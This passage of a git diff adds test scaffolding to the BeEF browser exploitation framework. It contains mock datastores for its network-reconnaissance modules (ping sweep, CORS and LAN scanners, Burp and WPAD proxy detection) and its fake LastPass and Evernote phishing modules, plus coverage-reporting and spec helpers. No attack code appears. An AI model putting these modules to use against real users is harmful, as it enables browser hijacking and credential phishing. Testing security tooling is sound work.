'modules/network/ping_sweep_ff' => { + datastore: { 'results' => 'host=192.168.1.1 is alive', 'beefhook' => '1', 'result' => '', 'host' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/get_http_servers' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=80&url=http://1.2.3.4/', 'beefhook' => '1', 'result' => '', 'url' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/cross_origin_scanner_cors' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=80&status=200', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/detect_burp' => { + datastore: { 'results' => 'has_burp=true&response=PROXY 127.0.0.1:8080', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/get_ntop_network_hosts' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=3000&data={"hostNumIpAddress":"192.168.1.1"}', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/internal_network_fingerprinting' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=80&discovered=Apache&url=http://test/', 'beefhook' => '1', 'result' => '', 'discovered' => '', 'url' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/get_proxy_servers_wpad' => [ + { datastore: { 'results' => 'proxies=PROXY 192.168.1.1:3128', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } }, + { datastore: { 'results' => 'proxies=SOCKS 192.168.1.1:1080', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } } + ], + 'modules/network/jslanscanner' => [ + { datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=80&service=HTTP', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } }, + { datastore: { 'results' => 'ip=1.2.3.4&device=Router', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } } + ], + 'modules/network/fetch_port_scanner' => { + datastore: { 'result' => 'ok', 'beefhook' => '1', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/cross_origin_scanner_flash' => [ + { datastore: { 'results' => 'ip=1.2.3.4&status=alive', 'result' => '', 'beefhook' => '1', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } }, + { datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=80&title=Apache', 'result' => '', 'beefhook' => '1', 'cid' => '0' }, config_get: { 'beef.extension.network.enable' => true } } + ] + } + when :social_engineering + { + 'modules/social_engineering/fake_lastpass' => { datastore: { 'meta' => 'KILLFRAME', 'result' => '', 'results' => '', 'answer' => '', 'cid' => '0' } }, + 'modules/social_engineering/fake_evernote_clipper' => { datastore: { 'meta' => 'KILLFRAME', 'result' => '', 'results' => '', 'answer' => '', 'cid' => '0' } } + } + else + {} + end + end +end + +# Returns [total_lines, covered_lines] for a group, or nil if no group. +def group_coverage(r, group_name) + group = r.groups[group_name] + return nil unless group&.respond_to?(:each) + + total_lines = 0 + covered_lines = 0 + group.each do |src_file| + total_lines += src_file.lines_of_code + covered_lines += src_file.covered_lines.compact.size + end + [total_lines, covered_lines] +end + +# Print one group's coverage (skip forked children: very low coverage or zero). +def print_group_coverage(r, group_name, color: "\e[36m") + total_lines, covered_lines = group_coverage(r, group_name) + return unless total_lines && total_lines.positive? + return if covered_lines.zero? + + pct = covered_lines.to_f / total_lines * 100 + # Skip noise from forked children (e.g. 0.03% Core). + return if pct < 1.0 + + puts "#{color}#{group_name} coverage: #{pct.round(2)}% (#{covered_lines} / #{total_lines} lines)\e[0m" +end + +# Only print from the main process (skip forked children with tiny coverage). +MIN_COVERAGE_PCT = 5.0 + +def coverage_from_main_process?(r, focus) + case focus + when 'all' + %w[Core Extensions Modules].any? do |name| + total, covered = group_coverage(r, name) + next false unless total && total.positive? + (covered.to_f / total * 100) >= MIN_COVERAGE_PCT + end + when 'core' + total, covered = group_coverage(r, 'Core') + total && total.positive? && (covered.to_f / total * 100) >= MIN_COVERAGE_PCT + when 'extensions' + total, covered = group_coverage(r, 'Extensions') + total && total.positive? && (covered.to_f / total * 100) >= MIN_COVERAGE_PCT + when 'modules', nil + total, covered = group_coverage(r, 'Modules') + total && total.positive? && (covered.to_f / total * 100) >= MIN_COVERAGE_PCT + else + false + end +end + +at_exit do + if defined?(SimpleCov) && SimpleCov.respond_to?(:result) && (r = SimpleCov.result) + focus = ENV['COVERAGE'] + next unless coverage_from_main_process?(r, focus) + + case focus + when 'core' + print_group_coverage(r, 'Core') + when 'extensions' + print_group_coverage(r, 'Extensions') + when 'modules' + print_group_coverage(r, 'Modules') + when 'all' + puts + print_group_coverage(r, 'Core') + print_group_coverage(r, 'Extensions') + print_group_coverage(r, 'Modules') + else + print_group_coverage(r, 'Modules') + end + end end # Set external and internal character encodings to UTF-8 diff --git a/spec/support/module_spec_helper.rb b/spec/support/module_spec_helper.rb new file mode 100644 index 000000000..552ee7915 --- /dev/null +++ b/spec/support/module_spec_helper.rb @@ -0,0 +1,59 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Helpers for unit specs of command modules (modules/*/module.rb). +# Use with stubbed config; no REST/API or real server. +# + +module ModuleSpecHelper + # + # Build a command instance for testing post_execute (or other instance methods). + # Uses allocate so we avoid Command#initialize reading from config. + # Set @datastore before calling post_execute; results are stored in @results via save(). + # + # @param klass [Class] The command module class (e.g. Test_beef_debug) + # @param datastore [Hash] Data to set on @datastore (simulates callback data) + # @return [Object] Instance with @datastore set; call post_execute then read instance_variable_get(:@results) + # + def build_command_instance(klass, datastore = {}) + instance = klass.allocate + instance.instance_variable_set(:@datastore, datastore) + instance + end + + # + # Call post_execute on a command instance and return the saved results. + # Use after build_command_instance(klass, datastore). + # + # @param instance [Object] Command instance from build_command_instance + # @return [Hash, nil] The value passed to save() (stored in @results) + # + def run_post_execute(instance) + instance.post_execute + instance.instance_variable_get(:@results) + end + + # + # Call pre_send on a command instance (e.g. before sending the command to the hooked browser). + # Use after build_command_instance(klass, datastore). Stub AssetHandler, Configuration, etc. before calling. + # + # @param instance [Object] Command instance from build_command_instance + # + def run_pre_send(instance) + instance.pre_send + end +end + +RSpec.configure do |config| + config.include ModuleSpecHelper + + # Stub Kernel.sleep for all module specs so modules that call sleep + # (e.g. Irc_nat_pinning's post_execute sleep 30) don't slow the suite. + config.before(:each) do |example| + if example.metadata[:file_path]&.include?('spec/beef/modules') + allow(Kernel).to receive(:sleep) + end + end +end